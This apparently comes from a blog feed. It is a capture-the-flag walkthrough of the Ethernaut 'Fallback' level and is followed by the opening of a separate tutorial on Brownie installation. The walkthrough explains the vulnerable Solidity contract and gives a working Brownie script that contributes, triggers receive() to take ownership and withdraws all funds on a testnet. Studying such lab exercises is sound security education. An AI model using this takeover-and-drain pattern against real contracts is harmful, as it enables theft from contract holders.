&lt;li&gt;&lt;a href=&quot;https://kevdevto.hashnode.dev/brownie-everything-you-need-to-know-to-write-test-and-deploy-your-smart-contracts&quot;&gt;The basics about brownie.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Okay, let’s start with the first contract: &lt;strong&gt;Fallback&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Walkthrough through the code.&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;First, let’s take a look into the contract code.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ethernaut 1: Fallback&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &apos;@openzeppelin/contracts/math/SafeMath.sol&apos;;

contract Fallback {

  using SafeMath for uint256;
  mapping(address =&amp;gt; uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            &quot;caller is not the owner&quot;
        );
        _;
    }

  function contribute() public payable {
    require(msg.value &amp;lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &amp;gt; contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
    owner = msg.sender;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the contract declaration we can see that the fallback contract inherits from the Ownable contract, wich is just a contract that allows us to use the onlyOwner modifier, &lt;strong&gt;which is a modifier that allows only the owner of the contract to excecute the functions in where the modifier is used.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first line of code we see is just the use of the &lt;a href=&quot;https://docs.openzeppelin.com/contracts/2.x/api/math&quot;&gt;Open Zeppelin library: safe math&lt;/a&gt; &lt;em&gt;this is a library that allows us to make maths without worrying about arithmetic overflow and underflow.&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using SafeMath for uint256;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Variables.&lt;/h3&gt;
&lt;p&gt;First, we have two state variables, &lt;em&gt;which mean that data is permanent stored on the BlockChain.
&lt;code&gt;contributions&lt;/code&gt; and &lt;code&gt;owner&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;contributions&lt;/code&gt; &lt;strong&gt;being a mapping that stores the addresses of the people alongside with the contributions that they had made&lt;/strong&gt;, &lt;em&gt;it’s like a dictionary in python or a hash table.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For example, it’s the same as.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contributions = {
    myAddress:{
        &quot;uint&quot;: 0.1 ETH
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And &lt;code&gt;owner&lt;/code&gt; &lt;strong&gt;being the current address who owns the contract&lt;/strong&gt;, this is setted during the deployment of the contract in the &lt;code&gt;constructor&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;The constructor.&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;In previous versions of solidity, the constructor used to be named the same as the contract, so be aware if you are working with previous version of solidity.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;This is a function that only can be called once, and it’s during the deployment process, its completely optional.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This constructor sets the owner of the contract to whoever address deployed the contract, by using this special keyword in solidity called &lt;code&gt;msg.sender&lt;/code&gt; (&lt;strong&gt;with this we can reference the account who is calling the function&lt;/strong&gt;, in this case who is deploying the contract).&lt;/p&gt;
&lt;p&gt;You can read more about the msg.sender keyword in the &lt;a href=&quot;https://docs.soliditylang.org/en/latest/units-and-global-variables.html#special-variables-and-functions&quot;&gt;solidity documentation.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And then, sets an initial contribution of 1000 ETH from the owner, that is stored in the contribution mapping when the contract is deployed.&lt;/p&gt;
&lt;h3&gt;Modifiers.&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;  modifier onlyOwner {
        require(
            msg.sender == owner,
            &quot;caller is not the owner&quot;
        );
        _;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we have this modifier which only allows the owner of the contract (who has been previously settled in the constructor) to call the function in which this modifier is used, in this case, the &lt;code&gt;withdraw&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;If you want to read more about modifiers, &lt;a href=&quot;https://docs.soliditylang.org/en/latest/units-and-global-variables.html#special-variables-and-functions&quot;&gt;you can do it here&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Functions.&lt;/h3&gt;
&lt;p&gt;Our first function: &lt;code&gt;contribute&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; function contribute() public payable {
    require(msg.value &amp;lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &amp;gt; contributions[owner]) {
      owner = msg.sender;
    }
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first statement we can see in the function’s body&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(msg.value &amp;lt; 0.001 ether);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Is like an &lt;code&gt;if&lt;/code&gt; statement that &lt;strong&gt;checks if the value that is send during that transaction (msg.sender) is minor than a certain value (0.001 ETH).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If it’s true, the execution of the function will continue; if its false the function will throw and exception, causing the whole executions of the function to stop and revert.&lt;/p&gt;
&lt;p&gt;You can read more about Solidity’s require and assert statements &lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.11/control-structures.html#panic-via-assert-and-error-via-require&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Then, you have an update of the contributions mapping adding the address who call this function with the value that was send in during the function call + the value that the already have, if so.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contributions[msg.sender] += msg.value;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, we have a conditional statement that checks if the value given by the current caller of the function is greater than the value given by the owner of the contract during the deployment process, &lt;strong&gt;if that is true the current caller of the function now converts into the new owner of the contract.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; if(contributions[msg.sender] &amp;gt; contributions[owner]) {
      owner = msg.sender;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;We could use this function to stole the ownership of the contract, but it will take us tooo long because of the require statement.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Following, we have the &lt;code&gt;getContributions&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which &lt;strong&gt;only returns the total value of the total contributions made by whoever is calling this function&lt;/strong&gt;, if there are any.&lt;/p&gt;
&lt;p&gt;Then we have the &lt;code&gt;withdraw&lt;/code&gt; function, which have a modifier, the &lt;code&gt;onlyOwner&lt;/code&gt; Modifier&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Like we already discuss, with the &lt;code&gt;onlyOwner&lt;/code&gt; modifier &lt;strong&gt;this function can only be called by whoever address is stored in the&lt;/strong&gt; &lt;code&gt;owner&lt;/code&gt; &lt;strong&gt;state variable&lt;/strong&gt;, if someone else calls this function, the execution will fail.&lt;/p&gt;
&lt;p&gt;The only one statement that this function has &lt;strong&gt;allows the current owner of the contract to “transfer”&lt;/strong&gt; (which is a special function that all addresses type have to allow to transfer a certain amount of wei to the address passed as a parameter.) **all the balance that this contract have to that address **(the address of whoever is stored in the owner state variable)&lt;/p&gt;
&lt;p&gt;You can see other methods for transfer eth &lt;a href=&quot;https://docs.soliditylang.org/en/latest/types.html#members-of-addresses&quot;&gt;here in the solidity docs.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;this.balance&lt;/code&gt; &lt;strong&gt;references the current balance (in Wei) of the contract.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That means that at any time, &lt;strong&gt;the owner of the contract can call this function and transfer to his/her address the whole balance of the contract.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Finally, we have this &lt;code&gt;receive&lt;/code&gt; function&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  receive() external payable {
    require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
    owner = msg.sender;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;This is a special function in solidity that allows us to send money to the contract.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The receive function is executed on a call to the contract with empty calldata.&lt;/strong&gt; This is the function that is executed on plain Ether transfers (e.g., via .send() or .transfer()). &lt;em&gt;If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer.&lt;/em&gt; If neither a receive ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;From the &lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.11/contracts.html?highlight=receive#receive-ether-function&quot;&gt;solidity documentation.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But wait, what is &lt;code&gt;calldata&lt;/code&gt;. When we make an ethereum transaction to call an specific contract function there’s a field called &lt;code&gt;data&lt;/code&gt; &lt;strong&gt;in where is specified the signature of function to be executed with his necessary parameters.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643934156837/2vvmX_wYQ.png&quot; alt=&quot;The data sending to this transaction (using metamask). In these case is a function call which receive a parameter (an address)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The data sending to this transaction (using metamask). In these case is a function call which receive a parameter (an address)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now, &lt;strong&gt;what if we just only wanted to send some ether to the contract, without calling a function?&lt;/strong&gt; No functions, no arguments, which means an empty ‘data’ field in the transaction. &lt;strong&gt;That’s the purpose of the receive function.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That function have a require statement that basically says&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;your account address needed to have donated Ether to this contract in the past.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;and, the function call needs to contain some Ether value.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;If those conditions are meant, we can now be the owners of the contract.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Also, we have another function to receive ether in smart contract, and this function can have calldata (we are going to use this in another ethernaut problem, ;))&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.11/contracts.html?highlight=receive#fallback-function&quot;&gt;The &lt;code&gt;fallback&lt;/code&gt; function&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no &lt;a href=&quot;https://docs.soliditylang.org/en/latest/contracts.html?highlight=fallback#receive-ether-function&quot;&gt;receive Ether function&lt;/a&gt;. The fallback function always receives data, but in order to also receive Ether it must be marked payable.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;You can read more about those special functions in &lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.11/contracts.html?highlight=receive#special-functions&quot;&gt;the solidity documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Okay now, that we had seen all the contract structure** is time to get our hands dirty and hack this.**&lt;/p&gt;
&lt;h2&gt;Hacking&lt;/h2&gt;
&lt;p&gt;What do we have to do?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Claim the ownership of the contract&lt;/li&gt;
&lt;li&gt;Reduce its balance(of the contract) to 0&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Start your brownie project&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ brownie init
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Claiming the ownership of the contract.&lt;/h3&gt;
&lt;p&gt;For that we just see a function that allows us to make this happen, &lt;strong&gt;the receive function&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But, to be able to call this function we must send a value higher than cero during the function call and we need to contributed to the contract before we can call this function.&lt;/p&gt;
&lt;p&gt;So we just have to contribute first&lt;/p&gt;
&lt;h4&gt;Contributing.&lt;/h4&gt;
&lt;p&gt;We have to call the &lt;code&gt;contribute&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;So, to be able to do that we need a way to interact with the contract programmatically
If you don’t know, to be able to interact with a contract we need:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Its ABI (Application Binary interface)&lt;/li&gt;
&lt;li&gt;The contract address in where that contract was deployed&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There are different ways to grab the ABI of a contract, in this case we are using an interface, we just need to write the function that we are going to interact with inside the interface declaration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let’s create the interface.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After we init our brownie project, in the &lt;code&gt;interface&lt;/code&gt; directory lets create an interface that help us to interact with the contract.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


interface Fallback {
    function contribute() external payable;
    function withdraw() external;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We just only need this two functions, so is pretty straight forward.&lt;/p&gt;
&lt;p&gt;When solidity compiled this, &lt;strong&gt;we are going to have a reduced version of the ABI of the contract, with only the instructions to call those functions.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Then, let’s grab the contract address of that instance.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You can just put &quot;instance&quot; in the browser console and it’s going to appear.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643935240752/9b0DzxuJy.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, let’s write some code!.&lt;/p&gt;
&lt;p&gt;You can create a new file in the &lt;code&gt;scripts&lt;/code&gt; directory. I’m going to call this &lt;code&gt;hacking.py&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Contribute function&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;from brownie import interface, config, accounts
from web3 import Web3


def contribute():
    fallback_contract = interface.Fallback(CONTRACT_ADDRESS)

    contribute_tx = fallback_contract.contribute(
        {
         &quot;from&quot;: ACCOUNT, 
         &quot;value&quot;: Web3.toWei(0.00002, &quot;ether&quot;), 
         &quot;gas_limit&quot;: 50000
        }
    )
    contribute_tx.wait(1)
    print(&quot;Contribution made&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, we are going to grab the contract object to be able to interact with the contract&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fallback_contract = interface.Fallback(CONTRACT_ADDRESS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By using the interface object provided by brownie, and using our current interface that we just wrote (Fallback) we can pass the address of the contract &lt;code&gt;CONTRACT_ADDRESS&lt;/code&gt;, Which is a variable that stores the address of the instance that we are using, to be able to interact with the contract.&lt;/p&gt;
&lt;p&gt;Then, using that contract object, &lt;strong&gt;we can call the method contribute&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contribute_tx = fallback_contract.contribute(
    {&quot;from&quot;: ACCOUNT, &quot;value&quot;: Web3.toWei(0.00002, &quot;ether&quot;), &quot;gas_limit&quot;: 50000}
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You now might be asking: why we are passing an object as an argument to contribute, when it actually does not take any arguments at all (according to its definition in Fallback contract)? . Well, &lt;strong&gt;to make a transaction with brownie&lt;/strong&gt; (those which change the current state of ethereum),** we must specified who is sending that transaction** (the “from” value), &lt;strong&gt;this is known as the transactions parameters&lt;/strong&gt;, &lt;em&gt;you could put more parameters to make the transaction more specificly according to your needs.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;You can read more about the transaction parameters &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/core-contracts.html#transaction-parameters&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In those transaction parameters we also have the &lt;code&gt;value&lt;/code&gt; parameter, &lt;strong&gt;which allows us to send money (ETH) to the smart contract&lt;/strong&gt;, in this case we are sending 0.00001, formatting the number using the &lt;code&gt;toWei&lt;/code&gt; function provided by &lt;code&gt;web3.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;When we call a function of a smart contract in brownie, &lt;strong&gt;that function is going to return us a transaction object which we can inspect or interact later&lt;/strong&gt;, that’s why I’m storing that transaction in a variable, and also to be able to make the transaction wait for one block for confirmation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contribute_tx.wait(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let’s call the &lt;code&gt;receive&lt;/code&gt; function.&lt;/p&gt;
&lt;h5&gt;Activating the receive function.&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;def hack():
    fallback_contract = interface.Fallback(CONTRACT_ADDRESS)
    print(Contract)
    tx = ACCOUNT.transfer(
      fallback_contract.address, 
      Web3.toWei(0.000002, &quot;ether&quot;)
    )
    tx.wait(1)
    print(&quot;Ownability stolen&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copying the same first statement of our &lt;code&gt;contribute&lt;/code&gt; function, to grab the contract object.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fallback_contract = interface.Fallback(CONTRACT_ADDRESS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can make a transaction to a smart contract without any parameters by using the special function provided by the &lt;code&gt;account&lt;/code&gt; type in brownie: &lt;code&gt;transfer&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In which we specified:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the address which we are going to send money, in this case the Fallback smart contract:&lt;/li&gt;
&lt;li&gt;and the amount of money that we want to send&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;tx = ACCOUNT.transfer(
      fallback_contract.address, 
      Web3.toWei(0.000002, &quot;ether&quot;)
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we already see how a receive function works,** so it’s going to activate whenever a EOA** (Externally owned Account) &lt;strong&gt;makes a transaction to the address of the smart contract without passing any function signatures.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And we wait one block for the confirmation of the transaction.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tx.wait(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, &lt;strong&gt;lets withdraw all the money from the contract&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Reduce the balance of the contract to 0&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def withdraw_all():
    fallback_contract = interface.Fallback(CONTRACT_ADDRESS)
    print(&quot;Withdrawing the funds&quot;)
    tx = fallback_contract.withdraw({&quot;from&quot;: ACCOUNT})
    print(&quot;All the money is withdrow&quot;)
    print(&quot;The contract has been hacked&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;If we do all the steps correctly we should be able to call all this &lt;code&gt;withdraw&lt;/code&gt; function without problem&lt;/strong&gt;, let’s do it.&lt;/p&gt;
&lt;h3&gt;Invoking the functions.&lt;/h3&gt;
&lt;p&gt;I’m invoking all my function in the &lt;code&gt;main()&lt;/code&gt; entry point.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def main():
    contribute()
    hack()
    withdraw_all()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, in the console &lt;strong&gt;let&apos;s run our script.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ brownie run scripts/hacking.py –network rinkeby
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;We are specifying the rinkeby network because all the instance of the Ethernaut CTF are deployed in Rinkeby.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We should have an log like this:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643936588002/n0LqRBLSB.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We made 3 transaction:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Calling the contribute method&lt;/li&gt;
&lt;li&gt;Making a simple transaction to the contract so we can invoke the receive function&lt;/li&gt;
&lt;li&gt;Calling the withdraw method&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;And now our first contract is hacked&lt;/strong&gt;, congratulations! :sunglasses: :tada:&lt;/p&gt;
&lt;p&gt;We do everything right, &lt;strong&gt;so let’s submit the instance!&lt;/strong&gt;, programmatically of course :smirk:&lt;/p&gt;
&lt;h2&gt;Submitting the instance&lt;/h2&gt;
&lt;p&gt;If you see all the output of the browser console there is a contract called &lt;code&gt;Ethernaut&lt;/code&gt;, which is the main contract that allows us to create new instances and submit those ones.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643936993877/2GG6wv_yL.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can call &lt;code&gt;help()&lt;/code&gt; to see all the different things you can do.&lt;/p&gt;
&lt;p&gt;Now, if put in the browser console &lt;code&gt;ethernaut&lt;/code&gt; we can see all the diferents objects that that contract object have.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is just a truffle contract object that the open zeppelin give us to interact with, the same for all the different instance that the CTF have.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643937102324/a6tZThxsO.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can see in the methods object, that there is a method called &lt;code&gt;submitLevelInstance()&lt;/code&gt;, &lt;strong&gt;that’s the method we wanna call&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can obtain the contract object By using the &lt;code&gt;Contract.from_abi()&lt;/code&gt; method, which is a way from brownie to obtain the contract object based on its ABI.&lt;/p&gt;
&lt;p&gt;As always, we need 2 things, &lt;strong&gt;the ABI of the contract and its address&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We just have to pass as a parameters:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The name of the contract&lt;/li&gt;
&lt;li&gt;The address of the contract&lt;/li&gt;
&lt;li&gt;And the abi of the contract&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can obtain the ABI of the contract in the browser console in the same &lt;code&gt;ethernaut&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643937327278/Y2OEgdvj5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can store that object in a variable. When we paste the object in our code we are going to obtain something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643937381301/OgKPBCR4d.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we are using python and not JS **we have to change those true and false keywords to match with the python syntax. **You just have to put those as capital (True, False)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643937434970/uglnxjXyE.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And that’s it, &lt;strong&gt;we have the Ethernaut contract object to interact with.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let’s create the code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def submit_the_contract():
    ethernaut_contract = Contract.from_abi(
      &quot;Ethernaut&quot;,ETHERNAUT_CONTRACT_ADDRESS, ethernaut_abi
    )
    print(&quot;Submiting instance&quot;)
    ethernaut_contract.submitLevelInstance(
      CONTRACT_ADDRESS, {&quot;from&quot;: ACCOUNT}
    )
    print(&quot;Instance submitted. Level passed. WOHOOO!&quot;)
    print(&quot;refresh the page of ethernaut&quot;)


def main():
    submit_the_contract()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;We just need to call the&lt;/strong&gt; &lt;code&gt;submitLevelInstance&lt;/code&gt; &lt;strong&gt;function of the&lt;/strong&gt; &lt;code&gt;Ethernaut&lt;/code&gt; &lt;strong&gt;contract, which only takes one parameter&lt;/strong&gt;: &lt;em&gt;the address of the current instance&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let’s try this out.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brownie run scripts/submi_contract.py —network rinkeby
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;And you just have a log like this:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643937553315/UhLXf5y17.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And yeah, it’s done!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643937613761/HGbiP2kOq.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can grab the complete solution in this &lt;a href=&quot;https://github.com/mustafinho/ethernaut_solutions/blob/main/ethernaut_1_fallback/scripts/hacking.py&quot;&gt;github repo.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you have any comment or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.&lt;/p&gt;
&lt;p&gt;You can follow me on my twitter &lt;a href=&quot;https://twitter.com/KevBto?t=OLX4oFBNcar_L-2QGx5B8Q&amp;amp;s=09&quot;&gt;@0bkevin&lt;/a&gt; and DM me, I’m always happy to talk and know more people in this amazing community.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stay tuned for the next Ethernaut solution:&lt;/strong&gt; Fallout.&lt;/p&gt;
</content:encoded></item><item><title>Brownie: everything you need to know to write, test and deploy your smart contracts.</title><link>https://kevinbravo.com/0b/brownie101</link><guid isPermaLink="true">https://kevinbravo.com/0b/brownie101</guid><description>We’ll walk through and explore all the main areas of functionality and I&apos;ll give you some tricks you can use to make your development process more easy.</description><pubDate>Sun, 01 Oct 2023 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Actually, Brownie is one of the most popular frameworks to create smart contracts, alongside truffle and hardhat.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Brownie offers a lot of cool things and functionalities you can use to make your development process more simple.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So, whether you&apos;re starting your journey as a blockchain developer, or you already have experience with smart contract development in Javascript but you want to shift to python, this tutorial is for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We’ll walk through and explore all the main areas of functionality and I&apos;ll give you some tricks you can use to make your development process more easy.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s start!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;How to install brownie&lt;/h2&gt;
&lt;p&gt;There are two easy ways in which you can install brownie:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1s. By using pipx&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pipx&lt;/code&gt; is just a like &lt;code&gt;pip&lt;/code&gt;, but you can install those packages and run it directly in the command line&lt;/p&gt;
&lt;p&gt;Is focused on installing and managing Python packages that can be run from the command line directly as applications.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Whereas &lt;code&gt;pip&lt;/code&gt; is a general-purpose package installer for both libraries and apps with no environment isolation. &lt;code&gt;pipx&lt;/code&gt; &lt;strong&gt;is made specifically for application installation, as it adds isolation yet still makes the apps available in your shell:&lt;/strong&gt; &lt;code&gt;pipx&lt;/code&gt; creates an isolated environment for each application and its associated packages.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;From the &lt;a href=&quot;https://github.com/pypa/pipx#how-is-it-different-from-pip&quot;&gt;pipx documentation.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That means, you don&apos;t have to create a python virtual environment when a package needed it.&lt;/p&gt;
&lt;p&gt;I recommend using this method, if so,you just can follow along the tutorial in the brownie documentation &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/install.html#installing-brownie&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2s. Using the common python pip&lt;/strong&gt;&lt;/p&gt;
